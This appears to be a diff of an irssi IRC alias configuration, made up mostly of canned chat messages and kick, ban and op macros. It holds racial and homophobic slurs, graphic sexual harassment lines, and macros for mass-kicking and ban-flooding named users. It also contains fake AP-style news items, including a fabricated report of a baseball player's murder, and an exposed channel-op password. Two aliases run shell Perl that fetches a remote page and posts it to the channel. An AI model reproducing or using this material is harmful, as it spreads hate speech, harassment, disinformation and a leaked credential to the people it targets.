+  insectkick = "/kick fleury ;/kick zero ;/kick zerocool ;/kick polka ;/kick nigerian ;/kick bimmer_ ;/kick ne ;/kick gravitaz ;/kick crosby87 ;/kick redrum87";
+  chanxbox = "/say http://guidowned.com/xbox-softmod.rar";
+  insectban = "/ban *!*insect@*.* ;/ban *!*wat@*.* ;/ban *!*zero@*.*";
+  insectown = "/insectkick ;/insectban";
+  nhlkick = "/kick ne \0034ITS GAMETIME ;/kick polka \0035ITS GAMETIME ;/kick fleury \0033ITS GAMETIME ;/kick nigerian \0036ITS GAMETIME ;/kick crosby87 \0037ITS GAMETIME ;/kick gravitaz \0038ITS GAMETIME ;/kick zero \0039ITS GAMETIME ;/kick zerocool \00310 ITS GAMETIME ;/kick redrum87 \00311ITS GAMETIME ;/kick bimmer_ \00312ITS GAMETIME";
+  chan79 = "/say u gay?? can a dog gay?? huhauha";
+  chan80 = "/say waa you mother is fuker ass";
+  chan81 = "/say kiss my bullshit gay";
+  obama = "/say WASHINGTON, D.C. AP NEWS - It has been decided that President Elect Obama will be swearing in on both the Bible and the Koran, marking the first time any President has used two religious books as his oath to protect the United States.";
+  facts = "/say \037\0030WORRIED ABOUT OBAMA? LOOK AT THE FACTS: 1. TEETH ARE WHITE 2. CLOUDS ARE WHITE 3. THE MOON IS WHITE 3. IPOD CABLES ARE WHITE 4. THE BIG PART OF THE EYE IS WHITE 5. THE MOST USED PAPER IS WHITE 6. SHIT IS BROWN";
+  music = "/say lol man $0 is a pretentious fag, and $1 is the worst song i've ever heard";
+  chan82 = "/say fuck you barac obama and bush and israel and america";
+  dontcare = "/say anyone got a laxative laying around? im in such pain over here from not giving a shit so hard.. ugh it hurts";
+  superbowl = "/say WASHINGTON D.C. (AP) - NFL Owner/Director Dan Reeves has announced the SuperBowl will be cancelled this year due to salary cap issues and the recent downturn of the economy. He was quoted as saying \"We can't afford chicken, so noone else gets chicken.\" Mr. Reeves known for his unique sense of humor will be more formal with his announcement during a press conference to be aired on FOX news and ESPN on Sunday Jan 25 at 8:00pm CST.";
+  whoa = "/damage ;/jizz ;/stratx2 ;/ziegh ;/seminal";
+  gr1d = "/say no shit hahaha";
+  saints2 = "/say \0038,13SAINTS WILL BEAT THE STEELERS IN THE SUPERBOWL THIS YEAR AND THATS FOR FUCKING SURE AND IF THE SAINTS WIN INSECT OWES VAP0R 400$ NO HOMO AND A \0031,4FIVE PIECE STRIP FROM POPEYES WITH A GREASCUIT + SPICY MASHED POTATOS FOR 8.55";
+  obama2 = "/say \037ONLY IN AMERICA WOULD THE WHITE MAN DO A BUNCH OF CRAZY SHIT AND MAKE A SHITLOAD OF MONEY BUT DIG A HOLE FOREVER THEN GET A NIGGER TO STEP IN AND DO ALL THE HARD WORK TO CLEAN IT UP AND CONVINCE ALL THE NIGGERS ITS A MILESTONE AND SOME FORM OF AMAZING CHANGE TO BE PROUD OF LOL.. WHITE FOLKS WIN AGAIN";
+  nice = "/say !o you smell like roses you piece of pie i wanna pet the happy into you";
+  chicken = "/say SHOVE A STRAND OF RAW CHICKEN UP YOUR PENIS HOLE \0034SALMONELA \00312><>";
+  attn = "/say \0031,4 ATTN: STEELERS NOT SHOWING UP TO THE SUPERBOWL";
+  "?" = "/say *¯\\(º_o)/¯*";
+  gainer = "/say if they don't have a warrenty they can't search you legally duh";
+  chan83 = "/say frankly speaking, i need someone who i can trust to open my poop and fart in to the face";
+  wrong = "its";
+  chan84 = "/say you fuck yourself with that mouth";
+  dick = "/say having a 14 inch dick really isnt that great, lots of girls are too scared to have sex with me.. and most guys wont even come near it..";
+  ego = "/say yo $0 ill get to that thing you asked me about i'm in the middle of my workout.. 200 pullups to go and then i have to do 150 pushups but i should be good after that";
+  weather = "/say wow... $0... nice weather check.. how about being less of a fucking COMPLETE nerd and opening a window.. or actually venturing outside.. for once.. seriously break the mold of typical irc user and do something with yourself. god.";
+  dad = "/say $0: i wish a hungry dad would dad you up and dad you then dad you so it could dad you to its dad";
+  iphone2 = "/say did you actually put jp.ashikase.backgrounder in the voipover3g.plist?";
+  context = "/say $0. Now is no time to be mean. Its thanksgiving. Can't we all relax drink a beer and watch some football and not cut eachother down";
+  devils = "/say average 14000 fans damn ! rangers max capacity is probably 14000 fans..the song says it all we takin over yeeeeeeeaaa devils takin yo asses ova bitches ";
+  devils2 = "/say funny... DEVILS got the best goaltender of all time, DEVILS have one TWO stanley cups in this MILLENIUM and have reached the playoffs, DEVILS make their own playerz stars and dont need to trade for big shot players, MAPLE LEAFS= old shit, old news. ";
+  devils3 = "/say wow! nj devils are just just amaziing...i think all the rangers fans are just jelous becuz: ;/say 1.the devils aare way better(im one of them) ;/say 2.our team is just better(nothing but the truth) ;/say 3.they haven't won a stanley cup since 94 and we've won 3";
+  devils4 = "/say attention devils fans if you love them like me add yourself to the group i made it is called the jersey d's look it up if you cant look up a bulletion in my profile that says devils fans only and copy and paste the url";
+  devils5 = "/say Rangers collect fans, Devils collect cups! ";
+  devils6 = "/say the 2009 season is rite around the corner and were gunna get somwhere this yr we got elias,holik,madden,gionta,pari se,brodeur wow wat a lineup evry1 watch out here we come CHAMPS OF 09 biotch!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!!!! ";
+  devils7 = "/say To think everyone thought the Devils would be doing bad this year after Gomez and Rafalski left...but there first in the division and 2nd in the conference. Makes me glad to be a Devils fan :D ";
+  devils8 = "/say eyyy i have the wierdest feeling devils r gunna win the cup this year i had this feeling in 03 and looke they won.. and whoever thinks there doing horrible... there not cuz there only like 4-6 points away from being on the top of the divisision... and now there startign to play lie a team .. that the type of team the devils r.. ahrd working and they abosltely never give up LETS GO DEVILSS ";
+  chan85 = "/say Eh, what is it with you. I dont wanna be in this channel anyway. Sorry but not a nerd";
+  real = "programmer";
+  wshh8 = "/say shut up nigga i have to shoot a different nigga every night so i can use their computer and internet and get on dat youtube and do it again the next day so dont be talking shit ";
+  fml = "/say Today I realized most of the fmylife.com entries were made by me. What makes that horrible is I'm only allowed to use the computer when my Dad is fucking me. ";
+  gogo = "/say u shot u dad?lol";
+  gogo2 = "/say lol this historys";
+  gogo3 = "/say here u need got friends for get weed";
+  gogo4 = "/say i dont like eat weed i prefer smoke it i dont try many times to eat";
+  gogo5 = "/say we are in differents hours at day";
+  insecban = "/ban *!*insect@*.* ;/ban *!*wat@*.* ;/ban *!i@*.* ;/ban *!*zero@*.* ;";
+  gogo6 = "/say dont heard it atm";
+  gogo7 = "/say recessions are always bads , but world need to grow more";
+  gogo8 = "/say some weeks ago i wathc Johnny Stecchino from roberto benigni too got missed the last from benigni called gomorra now italian mafia want kill roberto benigni for fo this film lol";
+  gogo9 = "/say one time horse meat in mexican restaurant and cangaroo";
+  gogo10 = "i u cant";
+  gogo11 = "/say nice , this work are the shit";
+  gogo12 = "/say rap = niggers;/say techno = whites";
+  reaksi = "/say Love iS Blind \0033-r\0034@";
+  gogo13 = "/say lol some mexicans are really wacks";
+  gogo14 = "/say i miss try popeyes i like the wraps from mc donald";
+  dox = "/say back in the day ppl used to drop dox for serious shit like you stealing their irc gf or you takin gover their main chan, now its like stuff that isnt close to our hearts can get dox dropped";
+  notepad = "/say do u guys have a notepad of this stuff? or do u have it scripted?";
+  himself = "/say wtf man.";
+  himself2 = "/say are you sure you want to treat me this way?";
+  himself3 = "/say If I am not good enough to have ops, then I am not good enough to be on your channel.";
+  himself4 = "/say Why the fuck do you think you can treat me like shit and not have me react?";
+  himself5 = "/say daffy duck seems to have a penis like a human .";
+  fish = "/say gimme back that filet-o-fish;/say gimme that fish ..OHHH;/say gimme back that filet-o-fish;/say gimme that fish;/say what if it were you hanging up on this wall?;/say if it were you in this sandwich you wouldnt be laughing at \0034alllllllll";
+  car = "/say http://www.20bucket.com/2009audiS4.jpg";
+  gogo15 = "/say here wr miss taco bells too";
+  gogo16 = "/say no thats from one web i miss the link";
+  linux = "/say I just want to learn Linux so I can move on with my life";
+  word = "/say jad tp dp ot";
+  gogo17 = "/say im ugly ass fuck";
+  gogo18 = "/say this is a large life";
+  gogo19 = "/say michael from the office do brbrbrbrbrbr too";
+  bread = "/say  ____;/say (    );/say  |  | < THIS IS BREAD FOR;/say  |__|      SURGEON";
+  gogo20 = "/say all u need is a wash of stomach";
+  gogo21 = "/say i dont ticker in the bot?";
+  gogo22 = "/say show me";
+  nospie = "script exec Irssi::active_win->command(\"mode +b *!?\\$_@*\") for qw(taschen cracked drac flame asl jynxed hansi sshot indigo Sweetish Sweetie mirc2000 eyeofra michcio Kim coco danielwxy IRCDigSpi spawn KeeS tidalwave xshh Kim syrka2002 roqqa TuttoIRC swat Xnurfz)";
+  slimebox = "/say $0 : you and yer clan, you really wanna start this?";
+  xxx4 = "/say Terror.at.Blood.Fart.Lake.2009.COMPLETE.STV.R1.NTSC.DVDR-CME";
+  shahid = "/say hey scd how about you deop vxp so we can all have fun chats";
+  shahid2 = "/say but he juped my nick :(";
+  shekk = "/say does screen go blank when i screen into another screen and then back to my colo screen";
+  shekk2 = "/say you wouldnt even know how to jack my gnu screen session if you did hack x";
+  shekk3 = "/say ddos me bitch lets see it.";
+  lh = "/say im better than you so i wont have to be honest about not having done shit heh.";
+  tu = "/say tu;/say tu;/say tu;/say tu;/say tu;/say tu;/say tu;/say tu";
+  crux = "/say Anyway, I make no apologies for anything I said or did.  Given the perceived situation, it was the correct thing to do.";
+  rav = "/say im a sweet, nice, loving, careing person, i just dont show it";
+  scd = "/say way two through you're drink at someone";
+  ircbar = "/say !start;/say !uno;/say !hangmanstart;/say !lippsgames;/say !poker;/say !hunt;/say !cast;/say !tdstart;/say !roulette;/say !choose scissor;/say !blackjack;/say !dice";
+  phillies = "/say chase utley has a lifetime subscription to cat fancy magazine";
+  chan86 = "/say i swaer some people are just borned retarted *Rolls eyes*";
+  chan87 = "/say you son of the bitch";
+  thoron = "/say let me get ahold of len he will packet that bot out or server len rocks";
+  chase2 = "/say http://img197.imageshack.us/img197/7207/chasek.jpg";
+  chase = "/say chase utley has a lifetime subscription to cat fancy magazine";
+  chasepart = "/part chase utley has a lifetime subscription to cat fancy magazine";
+  chase3 = "/say http://pheco.synthtech.net/chase-utley-has-a-lifetime-subscription-to-cat-fancy.jpg";
+  chase4 = "/say http://img36.imageshack.us/img36/5861/chase2h.jpg";
+  chase5 = "/say http://img154.imageshack.us/img154/3233/chase3.jpg";
+  chase6 = "/say http://img299.imageshack.us/img299/2917/may2008.jpg";
+  chase7 = "/say http://img441.imageshack.us/img441/8/chase4.jpg";
+  deep = "/say See, that's just sad in my opinion";
+  djvapor = "/say I thought you understood that this was because you are a fat fucking hick";
+  djvapor2 = "/say your heart is pumping koolaid";
+  haha = "/say HAS AH AHA HAHHHha hha HA HAH AHA";
+  haha2 = "/say ha HAH AH AHKAHHHHH@!@ 22 HAH AHALOLAHAHAHHAHAHAHA";
+  haha3 = "/say HAUHAUAHAHAHAVXPJSHDAHABG LOL @!@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@IRC.F1RE.ORG-#ARABALASAJOSOJHA HAH AAHA";
+  scores = "/say .lolscii http://wepump.in/ascii/$0.txt";
+  shahid3 = "/say scd i don't care whether or not vxp did it";
+  shahid4 = "/say vxp was the first peson to jupe me";
+  shahid5 = "/say you dont' know what it's like to be juped :(";
+  shahid6 = "/say it's really nice to be chatting in here with all these colors and vxp having ops";
+  shahid7 = "/say yeah, msg me when we have a channel where vxp doesn't get +o, im emoquittin all my nicks now";
+  baby = "/say http://i182.photobucket.com/albums/x236/wryi123/1248039743892.jpg";
+  wshh6 = "/say i suck dick for a record deal/they call me nutt in my face mike";
+  chasenews = "/say AP - MLB star second baseman Chase Utley was found dead with multiple gunshot wounds in a Philadelphia condominium Tuesday night - and authorities hinted he was murdered by his wife Jenn, who then turned the gun on herself. When asked, Garrett Atkins, long-time best friend and third baseman for the Colorado Rockies said, \"I still can't believe it, that's a lot of wasted Cat Fancy issues\".";
+  jigga = "/say jigga: payup you fucking bum, or this will happen everyday";
+  wshh7 = "/say THEM NIGGAS WEENIES I WOULDA RAN OVER THERE AND CAUGHT FADE CUZZ WIT THE POLICE WATCHIN ON CRIP..NIGGA THIS WEST LOS ANGELES BYO SELF GANGSTA CRIP IM ON THEM CRACCAS WISH IT WAS SOME SKIN HEADS TO BEEF WIT IN OR AROUND MY HOOD ON THE 3, TIRED OF KILLIN MY OWN";
+  airwebber = "/say I know that once shell";
+  airwebber2 = "/say stop flooding me with this unwanted messages";
+  airwebber3 = "/say you have now be asked to go away";
+  sly = "/say ya COME ONE you 4 eyes star trek FAG";
+  sly2 = "/say he's beng a good bitch shutting his star trek mouth right now.";
+  twitter = "/say .tweet @$0 Fucking tweet me back you bitch ass ho , Dickless ass bitch , Stupid ass trick ass sperm suck ass smelling low life ass bitch";
+  lolban = "/ban *!?@*;/ban *!??@*;/ban *!???@*;/ban *!????@*;/ban *!?????@*;/ban *!??????@*;/ban *!???????@*;/ban *!????????@*";
+  kr1sten = "/say this bitch almost killed me cuz she sucks at driving so i followed her to a drug store and raged out";
+  kr1sten2 = "/say so glad u know how to read and write";
+  kr1sten3 = "/say not sure how its funny and cool to just repeat someone all the time but more power to u";
+  fb = "LOL ->> \00313U ADD MY TO A FACEBOOK LOL :) :) \0030,2http://www.facebook.com/vap0r";
+  vogeltje = "/say fuck youre just as shit dont stinkish";
+  vogeltje2 = "/say i thikn it was you";
+  estella = "/msg alar op 7j779YNK3hf2AW9";
+  shahid8 = "/say qwat tej fuk ur probelm is i just want to chats fun";
+  german = "/say look its not hard, ich isnt Ich.. Ich is YOU ARE. jesus. did you even make it out of 8th grade. can you even COUNT TO EIGHT, fuckin ich an IDIOT.. and im sure right now ich eaiting to CORRECT ME on using ich in the wrong context now that i've TAUGHT YOU HOW TO USE IT OMG JESUS";
+  haddem = "/say It wants that I kill ipv6 for you?";
+  haddem2 = "/say You have some bot to catch its nick when ipv6 to fall?";
+  haddem3 = "/say Hum... it shows to all my colloquy with it for efnet all?";
+  haddem4 = "/say It makes ddos in you all the time?";
+  thoron2 = "/say dirknin a beer and changin diaper my moms cupcake";
+  1337 = "/mode #1337juice +I *!*@*;/mode #1337juice +e *!*@*";
+  shitdick = "/say polla de mierda";
+  spelling = "/say I'm pretty anal retentive about spelling and have the same gripe. Sometimes my fingers and brain aren't together when typing, but that usually results in missing a letter or swapping one, not completely changing the word. I used to spend hours searching \"John Deere ...\", \"John Deer ...\" and whatever other variable I could think of to find some hidden bargains on eBay. But really on IRC spelling isn't THAT important.";
+  dongle = "/say fuck you, you dick dirt dingle dink dock dank dongle";
+  eslam = "/say \0035,13OMG ESLAM IN THIS MOTHERFUCKER\0031,9SUCK MY DOG DICK AFTER I DRINK THIS COLD BEER OR DRINK THIS SHOT OF LIQUOR\00310,0YA BITCH ITS AN ESLAM TIME HEEYYYH OOOOOO\00312,5I ESLAM LIKE SHAQ\0037,13ESLAM DUH DUH DUH DUH DUH DUH LET THE BEER BE DRANK ESLAM!!\00311,5PEANUT BUTTER AND E-SLAM UNHHHHHHHHH\0031,0I SAW PHECO AT THE HOOVER E-SLAM";
+  spanish = "/say americano maldito que odia la mujer blanca que va a aspirar un dick del burro para que libre mantenga una dieta sana";
+  spanish2 = "/say ponga la caja de la escalera en gatito";
+  spanish3 = "/say veinticinco corazones de oro han derretido sobre la pérdida de mi virginidad anal";
+  spanish4 = "/say conseguí dos perros y un gato para aspirar mis bolas anoche y lo es demasiado malo que tuve que matar los perros porque el gato es solo ahora";
+  vxp = "/say back stabbing scumbag";
+  vxp2 = "/say oh fuck cares;/say $0 is gay";
+  vxp3 = "/say more like;/say go fuck yourself";
+  thoron3 = "/say the voices tell me to vxp and scd are cockboys";
+  thoron4 = "/say you need a speak and spell you dumb fuck";
+  pic = "/say http://www.bannedinhollywood.com/wp-content/uploads/2009/04/glaucoma.jpg <- $0";
+  vxp4 = "/say dono what the kike youre talking about atm";
+  vxp5 = "/say mantra of your life";
+  vxp6 = "/say status on /nick thoron";
+  vxp7 = "/say nice emsoilence";
+  spanish5 = "/say el emparedado de pavo con las cebollas del tomate del tocino de la lechuga del queso sazona el rancho y zanahorias anaranjados de la isla con pimienta del saurkraut mil del condimento de Mayo de la salsa de tomate de la mostaza del limón";
+  vxp8 = "/say waah wahh";
+  vxp9 = "/say lol@2 bints";
+  spanish6 = "/say usted me demuestra su cabeza de la salchicha y demostración enferma usted mi máquina para picar carne";
+  female = "say $Z <@arab> id love it; say $Z <@arab> if $0 and $1; say $Z <@arab> were female; say $Z <@arab> and if it was irl; say $Z <@arab> and if i was present";
+  joe = "/say well, first off it was 5 years ago, i committed myself to the state mental institution,i was deemed sane eventually, you guys can be self righteous as much as you want, i knew what i was doing and i knew the risks, i just didnt give a ****, i was curious to see what it felt like to be shot and i got paid for it, i never pay hospital bills, because as you can guess im poor white trash.";
+  joe2 = "/say actually, i'm not supervised.. i was in a state hospital for awhile.. that video was taken 5 years ago and at the ER before committing myself a few months later I told the police that showed up to investigate that a black man shot me in the projects over a dime bag of weed.. I did it for the LULZ!";
+  dryanta = "/say nice srs ban lol";
+  dryanta2 = "/say you aint a baller here unless you > 150/y";
+  dryanta3 = "/say and own a house";
+  dryanta4 = "/say its nothing to brag about";
+  dryanta5 = "/say i just like to say i get paid to play irc";
+  dryanta6 = "/say thats the point im making, not the amount xD";
+  bday = "/say HAPPY BIRTHDAY $0 -> http://boboblogger.mu.nu/archives/birthday%20cake.jpg";
+  vxp10 = "/say hi im here to claim $0's social ineptitude";
+  crux2 = "/say After what happened this weekend, I'm halfway considering moving to another IRC Network. :)";
+  mspaint = "/say http://imgur.com/2ueIP.png <- Remedy";
+  mspaint2 = "/say http://imgur.com/IvKLt.png <- analog";
+  mspaint3 = "/say http://imgur.com/e71fr.png <- insect";
+  mspaint4 = "/say http://imgur.com/GUUWF.png <- gobeyond";
+  mspaint5 = "/say http://img199.imageshack.us/img199/3543/shaggy.jpg <- shaggy (by vap0r)";
+  lunch = "/say had a bowl of cereal for lunch";
+  lunch2 = "/say also had a baked potato and seasoned fries..  had some red beans and rice and a bit of jambalaya, then a few pieces of corn on the cob with  butter.. green beans, lima beans, 4 sausage patties, a soft taco, a pack of gum, 2 mocha fraps a couple pigs in a blanket.. and 4 ice cream sandwiche and a couple dinner mints.. chewin on some pizza rolls now and got a pork loin defrostin at home.. ";
+  slimer = "/say the only thing that surprises me about henry is gasses";
+  crux3 = "/say I've modified that slightly... I definitely apologize for what was said/done, as it was done in reaction to events that never occurred.  And I should apologize for even assuming that slimer/vap0r/dankles would actually do what was pretended.  However, while I will try to be more discerning in the future, if something like this were to actually occur, I would react the same. :P";
+  getgogo = "exec - -out perl -MLWP::Simple -e \"getprint 'http://www.hockeydrunk.com/gogou/random.php'\"2>/dev/null";
+  cp2 = "/say I hope he didn't mean child porn, because that ain't me... I like older more experienced women";
+  admin = "/exec - -out perl -MLWP::Simple -e \"getprint 'http://www.hockeydrunk.com/gogou/admin.php'\" 2>/dev/null";
+  farmville = "/say insect: sign up for troll facebook account; /say so you can farm with me and gogou";
+  pokey = "/say ya i grabbed it of torrent";
+  pokey2 = "/say go bother someone else";
+  pokey3 = "/say I just figured you never leave the house sry";
+  pokey4 = "/say fuk u ur retarded if you didn't like that movie";
+  farm = "/say when you pet the animals, they make a little bit different sound from when you harvest, kind of a happy sound...i like it, and I like the noise the tractor makes when it is plowing, and I like the horn.";
+  farm2 = "/say Love the new 'petting' feature but why can't we pet the rabbits? ";
+  farm3 = "/say I want a 1 billion X 1 billion farm. That way I can spend the entire day plowing and harvesting. In fact, I could just spend the rest of my life doing that. I could plant a 1 day crop and be ready to harvest the first plots, by the time I'm done planting the last ones.";
+  wow2 = "/say I dont get impressed by anything. My girlfriend wore lingerie and i was all \"hmm. nice try.\" and went back to azeroth.";
+  wow3 = "/say so you noobs think you have a right to judge me? think my life is worthless because i play wow maybe only 6-8 hours a night, even less on weekends? fuck you bitch. while you're calling me worthless i'll be owning your noob ass in nagrand arena. you're still in your shitty greens cauze you got 3 screeching shitlings to feed, im decked out in purples with a 1900+ rating and will fuckin destroy you with just one mortal strike+whirlwind.";
+  richard = "/say \0030RIC\0034HARD;/say \0030SIMM\0034ON\0030S";
+  racecar = "/say I'm going to drive a remote controlled car into your mother's pussy and have it drive on her clitoris over and over again until she cums on it and it catches on fire and she dies from pussy burning";
+  muscles = "/say $0 i just got done lifting weights for 2 hours is it normal to have ripped my shirt in the bicep area?";
+  wewew = "/say good production means people can at least figure out how to keep shit from hard limiting";
+  sod = "/say is listening to: (Soulja Boy - turn my swag on) ¤ Length: (3:26) ¤ BitRate: (160kbps)";
+  sod2 = "/say is listening to: (Soulja Boy - kiss me thru the phone (ft. sammie)) ¤ Length: (3:13) ¤ BitRate: (224kbps)";
+  sod3 = "/say is listening to: (Soulja Boy - Freestyle 2) ¤ Length: (2:41) ¤ BitRate: (160kbps)";
+  indian = "/say tbh indians believe that water that isnt blessed by cows isnt holy, so they avoid taking showers regularly.. atleast in countries other than india.. weird fact";
+  slimer2 = "/say chill about nudes of my wife";
+  smyd = "/say \0034s\037\00313\037MY\037\0034d";
+  irc = "/say i was in middle school when i started using irc for warez back like 03 ish but only started chatting in like 06";
+  kirby = "/say \00313( > '_')>";
+  malcolm = "/say yes no, maybe.....;/say i dont kNOWWWW;/say can you REPEAT THE QUESTIONS;/say UR NOT THE BOSS OF ME NOW;/say UR NOT THE BOSS OF ME NOW;/say UR NOT THE BOSS OF ME NOW AND YOURE NOT SO BIG";
+  duck = "/say life is like a hurricane;/say here in.. duckburg;/say race cars, lasers, aeroplanes...;/say its a, duck blurrrr;/say might solve a mystery........or REWRITE HISTORY..;/say DUCK TALES AWHOOOO EVERYDAY THEYRE OUT THERE MAKING;/say DUCK TALES AWHOOOOO TALES OF DARING DO BAD AND GOOD LUCKTALES!!!!!!!!!!!!!!!!!!!!!!!";
+  chip = "/say ch-ch-ch-chip n dale, rescue rangers;/say ch-ch-ch-chip n dale when there's danger...;/say OH NO IT NEVER FAILS THEYLL TAKE THE CLUES;/say AND FIND THE WHERES AND WHYS AND WHOS (key change repeat)";
+  kewsh = "/say yea i work with pipe motherfucking";
+  kickbomb = "/kick $0 snip...*BOOOOOM!*. (1516 people are crap at this)";
+  cig = "/say ()_____)_cig_status?______)~~~~~~~~~~~~";
+  story = "/say one time my friend put too much lighter fluid on coals; /say and he cook burgers that taste like lighter fluid;/say it make my burp smell like rancid shit;/say and it almost make my friend throwup in the car";
+  shaggy = "/say i don't even joke about that shit";
+  shaggy2 = "/say srs";
+  biggest = "/say you guys accomplished getting the biggest faggots on efnet together in one channel";
+  stupid = "/say How can somebody be in Europe and France at the same time?";
+  timebombkick = "/kick $0 *BOOOOM* Fear. Go to die noob!. (1554 times someone set you up the bomb)";
+  wendys = "/say you'll end up blowing disgusting faggots behind the wendy's dumpster for change to buy alcohol to help you forget your ruined existance";
+  buzz = "/notice $0 BuZzZzZz";
+  ring = "/say IF YOU LIKED IT THEN YOU SHOULDA PUT A RING ON IT";
+  tool = "/say some say a comet will fall from the sky;/say followed by meteor showers and tidal waves;/say followed by fault lines that cannot sit still;/say followed by millions of dumb founded dipshits and;/say some say the end is near..;/say some say we'll see armageddon soon;/say i certainly hope we will.. i sure could use a vacation from this....................";
+  tool2 = "/say some say an admin will fall from the sky;/say followed by taking the price and coke for all;/say followed by hacked box and zines soon released;/say followed by dose getting busted and hemmed up;/say some say the end is near;/say some say that iC is next;/say i certainly hope it is;/say i sure could use a vacation from this";
+  tool3 = "/say some say that detroit will burn to the ground;/say some say that moors are not worth the shit on my shoe;/say some say that #nhl is life for life;/say some say that insectwife is fuckin a black guy;/say some say that slimers wife is fucking admin;/say some say that vapwife will leave him for vapcat;/say some say that joeeee tweets way too much;/say some say that soujiro takes it in the butt";
+  nba = "/say *AT THE BUZZER*;/say *THE SHOT*;/say *REJECTED*;/say *NO GOOD*;/say *HES HEATING UP*;/say \0034*HES ON FIRE*;/say \0030\037*JAMS IT IN*;/say \00313BOOMSHAKALAKA";
+  obs = "/say yo wassup jamie langenburnner";
+  confuse = "/say Has anyone really been far even as decided to use even go want to do look more like?";
+  confuse2 = "/say You've got to be kidding me. I've been further even more decided to use even go need to do look more as anyone can. Can you really be far even as decided half as much to use go wish for that? My guess is that when one really been far even as decided once to use even go want, it is then that he has really been far even as decided to use even go want to do look more like. It's just common sense.";
+  oj = "/say dis oj da juice man king shawty ice berg BUR shawty east 4th shawty ward shawt clayburn homes shawty ice neck and chest shawty in the bildin shawty red on da triz zaytoven on da b shawty king shit real big one hunnid not 99 we keep it 50 50 50 hunid fo us an fifty fo da hataz";
+  carl = "/say \00313CCCCCCCCCCCCCCCCCCCCCCCCCC\0034AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\0038RRRRRRRRRRRRRRRRRRRRRRRRRRRR\00312LLLLLLLLLLLLLLLLLLLLLLLLL\0033'D";
+  combo = "/say thats odd, cuz i was just in barbados for vacation in May, and I dated a model i met on the beach";
+  analog = "/say i'll make your life a living household";
+  warez = "/say all you have to do is stop the kiddie games grow up and move on and maybe one day you two will get into the games/warez/etc... and actually be enjoyed by the people you surround yourself with";
+  chase9 = "/say http://i37.tinypic.com/2chl79l.jpg";
+  ascii2 = "/say why do i not have ops.  i think i was one of the first 5 people to join this channel 15 years ago";
+  ascii3 = "/say go read the history of the pc ascii scene, thx :)";
+  lolpart = "/msg $0 HAHAHA WE HOPE YOU HAD A GOOD LAUGH IN #LOL COME BACK ONE DAY WHEN YOU ARENT SUCH A FAG";
+  dela = "/say and ur lucky i dont know where you live;/say id tag on ur mailbox;/say fag";
+  ts = "/say not funny meme;/gogou";
+  is = "to";
+  cafe = "/say You are doing this thing all over the time.....What is going on?You are not leave us play the game piece....You should shame on you.....";
+  cafe2 = "/say I want my money back for the loss i have, my burgers are burned!!!!!";
+  cafe3 = "/say hey i ve been wait for a day for my chicken and its probably burned gone bad will it be fresh when u finish your repair...????????and my other food is already burnt spoiled i hope when ya finish everyones food is still fresh";
+  cafe5 = "/say ALL DAY THEN MY FOOD IS GOIN TO B FUCKED SOON SO COME ON !!!!!!!!";
+  cafe6 = "/say SORT THE GAME OUT BEFORE WE ALL START COOKING CHICKENS AND HOG ROASTS!. THATS 30,000 U OWE ME NOW, THANKS CAFE WORLD!";
+  henry = "/say he's a REAL LOSER,dont trust him...........be caerful.";
+  blol = "/say \0039huHUEHUhUHEuhuheuheuHEU";
+  techno = "/say \00313,2¨°º¤øD¸TECHNO ø¤º°¨;/say \0032,8Dø¤º°¨FOREVER`°º¤ø\\";
+  fakeop = "/op $0;/ban $0";
+  joke = "/say wow, $0, ha ha, that was a hilarious joke.. i know people that would pay ten grand for shit half that funny";
+  1067 = "/say \0030thx for keepin it locked to irc's OWN \0034*106.7 \00313THE FAG\0034*";
+  cl2 = "/say you know what i mean by milk my dick holla at me. U gotta do more than just suck my shit, u gotta PULL every bit of the nutt out of my dick. U can do this wit ass...head...whatever u got u drain me wit.";
+  cl3 = "/say WM here looking to host a Hung Thug tonight and give him the best head and ass he will ever have. get back at me with a pic and stats. Not generous here.";
+  cl4 = "/say 22 white bubble ass looking for TOPS - 22 (Jackson/Covington)";
+  cl5 = "/say you where out with friends drinking grenades you live in Kenner. you had one of your friends hold the bathroom door while you pissed on me in the bathroom than I paid you 20 if you see this I WANT MORE SEND ME A EMAIL WITH YOUR PICTURE this was on a saturday nigth";
+  cl7 = "/say Not looking to hook up. Just home alone looking to see if anyone would like to have email conversation. It can be as pure as the wind driven snow or as erotic as you wish. If interested please place \"no harm\" in the subject and if you send a picture you will get one in return. ";
+  cl8 = "/say I AM LOOKING FOR A TOP MAN.;/say I'M 6FT 200 IN SHAPE NICELY HUNG BOTTOM.;/say IF YOUR GAME FOR TOPPING HIT ME UP.;/say MY PLACE ";
+  cl9 = "/say I just got done fucking my wife. I want someone to suck my dick with her wetness still on my dick. have not showered yet. anyone down? can meet you somewhere";
+  wtf = "/say you can watch the \"wtf\"";
+  shortyz = "/say ur like a Trex, and im like.. a 400 year old bear";
+  damar = "/say fake tetedeput probably loaded many shit on damar";
+  wispurs = "/say i want do see everything";
+  powr10 = "/say some $0 guy was sending me tells earlier saying he wanted to fuck my mom";
+  z = "/say i paid cash for my trailer plus 20k in my pocket;/say and that 20k paid for my truck i got back from the auction;/say well, i fucked the system for a little over a hundred grand in cash;/say and its well worth it file bankrupty and its all gone;/say in a couple yrs, i can have fresh start with a lot of hungury creditors";
+  z2 = "/say obviously you don't know much about mh";
+  z3 = "/say i am truly legally blind by legal definition, but i knew it was coming, in doing so, i preplanned everything";
+  z4 = "/say its really simple actually, i found a way to get on disability, and use that to protect myself from any creditors garnishing anything period";
+  z5 = "/say because creditors cannot garnish disability";
+  z6 = "/say i am not here to please you";
+  z7 = "/say you folks dunno much aobut MH, but thats oky";
+  z8 = "/say whats nice about being on visual disability is i can still make an additional 1500 a month income";
+  rams = "/say i'm a rams in this room";
+  stupid2 = "/say George Bush prays everyday and thats a good quality for a leader to have";
+  stupid3 = "/say You can't drive to Alaska, it's an island!";
+  dphase = "/say its really fun and trick";
+  chan88 = "/say GOOD TIRED OF THE GAY TALK, ANYWAY WHAT IS THIS PROGRAM ABOUT";
+  z9 = "/say i wanna fuck a fags ass";
+  z10 = "/say I will go as far to fuck him and his son, both, i dont care";
+  steenos = "/say My perfect date would be to have dinner on a nice sailboat, watching the sunset, and have dolphins swimming next to the boat. Then eat dessert while watching the stars.";
+  marc = "/say $0: I JUST SHAT ORANGEY YELLOW DIARRHEA IN YER CAB!!!!!";
+  pheco3 = "/say i made the mistake of using tap water to make irc for my drinks in egypt";
+  paul = "/say do better now :)";
+  deppy = "/say shame it doesnt work that way";
